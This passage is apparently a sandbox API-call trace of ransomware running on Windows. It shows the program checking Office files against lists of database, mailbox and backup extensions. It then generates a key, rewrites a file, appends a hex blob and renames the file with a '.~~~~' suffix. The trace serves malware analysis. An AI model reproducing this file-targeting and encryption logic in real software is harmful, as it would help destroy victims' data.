	[0134.291] lstrlenW (lpString=".vhdx") returned 5
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".vhdx") returned 0x0
	[0134.291] lstrlenW (lpString=".NDF") returned 4
	[0134.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".NDF") returned 0x0
	[0134.292] lstrlenW (lpString=".dat") returned 4
	[0134.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".dat") returned 0x0
	[0134.292] lstrlenW (lpString=".DBS") returned 4
	[0134.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".DBS") returned 0x0
	[0134.292] lstrlenW (lpString=".CKP") returned 4
	[0134.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".CKP") returned 0x0
	[0134.292] lstrlenW (lpString=".edb") returned 4
	[0134.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".edb") returned 0x0
	[0134.292] lstrlenW (lpString=".PST") returned 4
	[0134.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".PST") returned 0x0
	[0134.292] lstrlenW (lpString=".dbf") returned 4
	[0134.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".dbf") returned 0x0
	[0134.292] lstrlenW (lpString=".SQL") returned 4
	[0134.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".SQL") returned 0x0
	[0134.292] lstrlenW (lpString=".pst") returned 4
	[0134.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".pst") returned 0x0
	[0134.292] lstrlenW (lpString=".dbv") returned 4
	[0134.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".dbv") returned 0x0
	[0134.292] lstrlenW (lpString=".SDF") returned 4
	[0134.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".SDF") returned 0x0
	[0134.292] lstrlenW (lpString=".dtxs") returned 5
	[0134.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".dtxs") returned 0x0
	[0134.292] lstrlenW (lpString=".db3") returned 4
	[0134.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".db3") returned 0x0
	[0134.292] lstrlenW (lpString=".OST") returned 4
	[0134.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".OST") returned 0x0
	[0134.292] lstrlenW (lpString=".dbx") returned 4
	[0134.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".dbx") returned 0x0
	[0134.293] lstrlenW (lpString=".DB3") returned 4
	[0134.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".DB3") returned 0x0
	[0134.293] lstrlenW (lpString=".DAT") returned 4
	[0134.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".DAT") returned 0x0
	[0134.293] lstrlenW (lpString=".VHDX") returned 5
	[0134.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".VHDX") returned 0x0
	[0134.293] lstrlenW (lpString=".ndf") returned 4
	[0134.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".ndf") returned 0x0
	[0134.293] lstrlenW (lpString=".DB") returned 3
	[0134.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".DB") returned 0x0
	[0134.293] lstrlenW (lpString=".sql") returned 4
	[0134.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".sql") returned 0x0
	[0134.293] lstrlenW (lpString=".MYD") returned 4
	[0134.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".MYD") returned 0x0
	[0134.293] lstrlenW (lpString=".DBT") returned 4
	[0134.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".DBT") returned 0x0
	[0134.293] lstrlenW (lpString=".ACCDB") returned 6
	[0134.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".ACCDB") returned 0x0
	[0134.294] lstrlenW (lpString=".fdb") returned 4
	[0134.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".fdb") returned 0x0
	[0134.294] lstrlenW (lpString=".bak") returned 4
	[0134.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".bak") returned 0x0
	[0134.294] lstrlenW (lpString=".myd") returned 4
	[0134.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".myd") returned 0x0
	[0134.294] lstrlenW (lpString=".DTXS") returned 5
	[0134.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".DTXS") returned 0x0
	[0134.294] lstrlenW (lpString=".ckp") returned 4
	[0134.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".ckp") returned 0x0
	[0134.294] lstrlenW (lpString=".dbt") returned 4
	[0134.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".dbt") returned 0x0
	[0134.294] lstrlenW (lpString=".db") returned 3
	[0134.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".db") returned 0x0
	[0134.294] lstrlenW (lpString=".TXT") returned 4
	[0134.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".TXT") returned 0x0
	[0134.294] lstrlenW (lpString=".MDF") returned 4
	[0134.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".MDF") returned 0x0
	[0134.294] lstrlenW (lpString=".bdb") returned 4
	[0134.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".bdb") returned 0x0
	[0134.294] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0134.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.295] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0ea0) returned 1
	[0134.296] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.296] CryptReleaseContext (hProv=0x3a0ea0, dwFlags=0x0) returned 1
	[0134.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0134.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0134.296] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25428600509) returned 1
	[0134.312] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb9805f30, dwHighDateTime=0x1d60e1e)) 
	[0134.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0134.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0134.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0134.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824e18
	[0134.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824e18 | out: hHeap=0x300000) returned 1
	[0134.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c48c8
	[0134.312] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.312] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0134.313] GetLastError () returned 0x0
	[0134.313] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0134.313] GetLastError () returned 0x0
	[0134.496] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffffa74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.496] WriteFile (in: hFile=0x104, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x58c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x24dfec0*=0x58c, lpOverlapped=0x0) returned 1
	[0134.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0134.499] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.499] WriteFile (in: hFile=0x104, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.499] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.499] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.499] CloseHandle (hObject=0x104) returned 1
	[0134.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0134.500] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.~~~~")) returned 1
	[0134.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a85f8 | out: hHeap=0x300000) returned 1
	[0134.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0134.502] GetLastError () returned 0x0
	[0134.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".scr") returned 0x0
	[0134.502] lstrlenW (lpString=".cmd") returned 4
	[0134.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".cmd") returned 0x0
	[0134.502] lstrlenW (lpString=".dll") returned 4
	[0134.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".dll") returned 0x0
	[0134.502] lstrlenW (lpString=".bat") returned 4
	[0134.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".bat") returned 0x0
	[0134.502] lstrlenW (lpString=".cpl") returned 4
	[0134.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".cpl") returned 0x0
	[0134.502] lstrlenW (lpString=".sys") returned 4
	[0134.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".sys") returned 0x0
	[0134.502] lstrlenW (lpString=".msc") returned 4
	[0134.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".msc") returned 0x0
	[0134.502] lstrlenW (lpString=".com") returned 4
	[0134.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".com") returned 0x0
	[0134.503] lstrlenW (lpString=".lnk") returned 4
	[0134.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".lnk") returned 0x0
	[0134.503] lstrlenW (lpString=".msp") returned 4
	[0134.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".msp") returned 0x0
	[0134.503] lstrlenW (lpString=".pif") returned 4
	[0134.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".pif") returned 0x0
	[0134.503] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0134.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0134.504] lstrlenW (lpString=".sqb") returned 4
	[0134.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".sqb") returned 0x0
	[0134.504] lstrlenW (lpString=".ost") returned 4
	[0134.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".ost") returned 0x0
	[0134.504] lstrlenW (lpString=".txt") returned 4
	[0134.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".txt") returned 0x0
	[0134.504] lstrlenW (lpString=".mdt") returned 4
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".mdt") returned 0x0
	[0134.505] lstrlenW (lpString=".BDB") returned 4
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".BDB") returned 0x0
	[0134.505] lstrlenW (lpString=".eql") returned 4
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".eql") returned 0x0
	[0134.505] lstrlenW (lpString=".DBF") returned 4
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".DBF") returned 0x0
	[0134.505] lstrlenW (lpString=".EQL") returned 4
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".EQL") returned 0x0
	[0134.505] lstrlenW (lpString=".FDB") returned 4
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".FDB") returned 0x0
	[0134.505] lstrlenW (lpString=".EDB") returned 4
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".EDB") returned 0x0
	[0134.505] lstrlenW (lpString=".DACPAC") returned 7
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0134.505] lstrlenW (lpString=".VHD") returned 4
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".VHD") returned 0x0
	[0134.505] lstrlenW (lpString=".DBV") returned 4
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".DBV") returned 0x0
	[0134.505] lstrlenW (lpString=".dacpac") returned 7
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0134.505] lstrlenW (lpString=".sdf") returned 4
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".sdf") returned 0x0
	[0134.505] lstrlenW (lpString=".accdb") returned 6
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".accdb") returned 0x0
	[0134.505] lstrlenW (lpString=".DBX") returned 4
	[0134.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".DBX") returned 0x0
	[0134.506] lstrlenW (lpString=".MDT") returned 4
	[0134.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".MDT") returned 0x0
	[0134.506] lstrlenW (lpString=".SQB") returned 4
	[0134.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".SQB") returned 0x0
	[0134.506] lstrlenW (lpString=".vhd") returned 4
	[0134.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".vhd") returned 0x0
	[0134.506] lstrlenW (lpString=".bac") returned 4
	[0134.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".bac") returned 0x0
	[0134.506] lstrlenW (lpString=".mdf") returned 4
	[0134.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".mdf") returned 0x0
	[0134.506] lstrlenW (lpString=".BAK") returned 4
	[0134.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".BAK") returned 0x0
	[0134.506] lstrlenW (lpString=".BAC") returned 4
	[0134.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".BAC") returned 0x0
	[0134.506] lstrlenW (lpString=".dbs") returned 4
	[0134.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".dbs") returned 0x0
	[0134.506] lstrlenW (lpString=".vhdx") returned 5
	[0134.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0134.506] lstrlenW (lpString=".NDF") returned 4
	[0134.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".NDF") returned 0x0
	[0134.506] lstrlenW (lpString=".dat") returned 4
	[0134.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".dat") returned 0x0
	[0134.506] lstrlenW (lpString=".DBS") returned 4
	[0134.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".DBS") returned 0x0
	[0134.506] lstrlenW (lpString=".CKP") returned 4
	[0134.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".CKP") returned 0x0
	[0134.506] lstrlenW (lpString=".edb") returned 4
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".edb") returned 0x0
	[0134.507] lstrlenW (lpString=".PST") returned 4
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".PST") returned 0x0
	[0134.507] lstrlenW (lpString=".dbf") returned 4
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".dbf") returned 0x0
	[0134.507] lstrlenW (lpString=".SQL") returned 4
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".SQL") returned 0x0
	[0134.507] lstrlenW (lpString=".pst") returned 4
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".pst") returned 0x0
	[0134.507] lstrlenW (lpString=".dbv") returned 4
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".dbv") returned 0x0
	[0134.507] lstrlenW (lpString=".SDF") returned 4
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".SDF") returned 0x0
	[0134.507] lstrlenW (lpString=".dtxs") returned 5
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0134.507] lstrlenW (lpString=".db3") returned 4
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".db3") returned 0x0
	[0134.507] lstrlenW (lpString=".OST") returned 4
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".OST") returned 0x0
	[0134.507] lstrlenW (lpString=".dbx") returned 4
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".dbx") returned 0x0
	[0134.507] lstrlenW (lpString=".DB3") returned 4
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".DB3") returned 0x0
	[0134.507] lstrlenW (lpString=".DAT") returned 4
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".DAT") returned 0x0
	[0134.507] lstrlenW (lpString=".VHDX") returned 5
	[0134.507] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0134.508] lstrlenW (lpString=".ndf") returned 4
	[0134.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".ndf") returned 0x0
	[0134.508] lstrlenW (lpString=".DB") returned 3
	[0134.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".DB") returned 0x0
	[0134.508] lstrlenW (lpString=".sql") returned 4
	[0134.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".sql") returned 0x0
	[0134.508] lstrlenW (lpString=".MYD") returned 4
	[0134.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".MYD") returned 0x0
	[0134.508] lstrlenW (lpString=".DBT") returned 4
	[0134.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".DBT") returned 0x0
	[0134.508] lstrlenW (lpString=".ACCDB") returned 6
	[0134.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0134.508] lstrlenW (lpString=".fdb") returned 4
	[0134.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".fdb") returned 0x0
	[0134.508] lstrlenW (lpString=".bak") returned 4
	[0134.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".bak") returned 0x0
	[0134.508] lstrlenW (lpString=".myd") returned 4
	[0134.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".myd") returned 0x0
	[0134.508] lstrlenW (lpString=".DTXS") returned 5
